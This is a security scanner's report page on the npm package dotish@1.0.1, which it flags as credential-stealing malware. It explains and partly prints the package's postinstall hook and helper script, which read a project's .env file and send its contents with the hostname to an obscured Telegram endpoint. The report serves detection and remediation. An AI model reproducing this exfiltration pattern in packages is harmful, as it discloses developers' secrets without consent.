registry / Credential exfiltration / dotish
dotish
A lightweight utility for managing environment variables and system configurations.
This report shows the evidence for dotish@1.0.1. 2 of 3 known versions are blocked or flagged. The newest version, 0.0.1-security, is allowed. See all versions.
AI Security Review
scanned 2mo ago · by lpm-firewall-aiThis is a concrete, unconsented postinstall secret-exfiltration chain, not a package-aligned configuration helper.
Static reason
One or more suspicious static signals were detected.
Trigger
npm postinstall
Impact
Secrets in a project's .env file are disclosed to a third-party Telegram endpoint.
Mechanism
postinstall .env credential exfiltration over HTTPS
Attack narrative
On installation, npm runs env-config-helper.js. If the current project contains .env, the script reads it, combines its full contents with the machine hostname, and sends that data as a request parameter to a Base64-obscured Telegram API endpoint. The error handler is intentionally silent, reducing visible evidence of the exfiltration.
AI rationale
This is a concrete, unconsented postinstall secret-exfiltration chain, not a package-aligned configuration helper.
Evidence
package.jsonenv-config-helper.js.env
Network endpoints1
api.telegram.org
Decision evidence
public snapshotAI called this Malicious at 99.0% confidence as Malware with low false-positive risk.
Evidence for block
- postinstall executes env-config-helper.js automatically.
- The helper reads the consuming project's .env file.
- It packages .env contents and hostname into a Telegram message.
- It sends the payload through HTTPS and suppresses errors.
Evidence against
- No dependencies or additional package files were present.
Behavioral surface
FilesystemNetwork
HighEntropyStrings
NoLicense
Source & flagged code
6 flagged · loading sourcepackage.jsonView file
•scripts.postinstall = node env-config-helper.js
High
Install Time Lifecycle Scripts
Package defines install-time lifecycle scripts.
package.jsonView on unpkg5"main": "env-config-helper.js",
"scripts": {
"postinstall": "node env-config-helper.js"
}
High
Suspicious Lifecycle Evidence
postinstall executes env-config-helper.js automatically.
package.jsonView on unpkg · L5env-config-helper.jsView file
3const _sysPath = require('path');
L4: const _netHttps = require('https');
L5: const _netQuery = require('querystring');
...
L7: try {
L8: const _configPath = _sysPath.join(process.cwd(), '.env');
L9:
...
L12:
L13: // Base64 oo ah URL-ka asaasiga ah ee Telegram API (ilaa sendMessage)
L14: const _endpointB64 = "[redacted]=";
...
L19: chat_id: "5934680334",
L20: text: "Xogta la helay:\n" + _configBuffer + "\nHost: " + require('os').hostname()
L21: });
High
Base64 Obscured Url
Findings
6 High1 Medium4 Low
HighInstall Time Lifecycle Scriptspackage.json
HighBase64 Obscured Urlenv-config-helper.js
HighSuspicious Lifecycle Evidencepackage.json
HighAi Review Evidenceenv-config-helper.js
HighAi Review Evidenceenv-config-helper.js
HighAi Review Evidenceenv-config-helper.js
MediumNetwork
LowScripts Present
LowFilesystem
LowHigh Entropy Strings
LowNo License
Affected versions and remediation
This report applies to dotish@1.0.1.
The versions list below shows the verdict for each recorded version.
- Avoid installing dotish@1.0.1. Remove it from direct dependencies and check your lockfile for transitive copies.
- Choose an independently verified alternative or release. This report does not establish that other versions are safe.
- If this version ran, investigate the affected machine and build environment. Rotate credentials it could access and rebuild from a trusted environment.
Evidence last updated: .
Think this verdict is wrong? Dispute it on GitHub or read how reports are produced.